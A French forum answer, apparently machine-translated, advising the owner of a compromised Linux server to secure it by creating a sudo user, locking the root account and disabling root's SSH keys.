Votre système a été compromis. Vous avez un journal d’historique en cours d’exécution qui pourrait être intéressant à regarder dans une certaine mesure. Mais honnêtement, disséquer les détails est un peu tatillon et ne vous aidera pas à sécuriser votre serveur. Il montre toutes sortes de bêtises qui se produisent lorsque des réseaux malveillants génèrent des programmes malveillants (ce qui est le plus susceptible d'infecter votre serveur) infecte un système Linux. La réponse fournie par @MariusMatutiae est belle, bien pensée et d’autres répètent que vous avez été piraté via un accès root, ce qui est un rêve imprévisible.

Il existe quelques explications sur la façon de désactiver root, mais je vais préciser par expérience personnelle que la plupart des choses qui vont au-delà de ce que je vais décrire maintenant sont excessives. C’est ce que vous avez fait {devrait} _ lors de la première installation du serveur:

1. Créez un nouvel utilisateur avec les droits Sudo: Créez un nouvel utilisateur avec un nouveau nom (quelque chose comme cooldude) en utilisant une commande telle que Sudo adduser cooldude si vous utilisez Ubuntu ou un autre type de système Debian. Ensuite, éditez manuellement le fichier Sudo en utilisant une commande comme celle-ci Sudo nano /etc/sudoers et ajoutez une ligne comme cooldude ALL=(ALL:ALL) ALL au-dessous de la ligne équivalente qui devrait indiquer root ALL=(ALL:ALL) ALL. Ceci fait, connectez-vous en tant que cooldude et testez la commande Sudo avec une commande telle que Sudo w - quelque chose de basique et non destructif - pour voir si les droits Sudo fonctionnent. Vous pourriez être invité à entrer un mot de passe. Ça marche? Tout bon! Passez à l'étape suivante.
2. Verrouillez le compte root: OK, maintenant que cooldude est en charge des droits Sudo, connectez-vous en tant que cooldude et exécutez cette commande pour verrouiller le compte racine Sudo passwd -l root. Si d'une manière ou d'une autre vous avez créé une paire de clés SSH pour root, ouvrez /root/.ssh/authorized_keys et supprimez les clés. Ou mieux encore, il suffit de renommer ce fichier authorized_keys_OFF comme ceci, Sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF pour désactiver efficacement les clés SSH. Je préfère la version ultérieure, car vous avez toujours besoin d'une connexion sans mot de passe. Vous pouvez simplement déplacer ce fichier vers son nom d'origine et vous devriez être prêt à partir.

FWIW, j'ai géré des dizaines de serveurs Linux au cours des années (des décennies?) Et je sais par expérience que simplement désactiver root - et configurer un nouvel utilisateur avec des droits Sudo - constitue le moyen le plus simple et le plus simple de sécuriser un système Linux. Je n’ai jamais eu à faire face à aucun type de compromis via SSH une fois que la variable root est désactivée. Et oui, vous pouvez voir des tentatives de connexion via le auth.log mais elles n'ont pas de sens; Si root est désactivé, ces tentatives ne donneront jamais rien. Asseyez-vous et observez les tentatives infructueuses!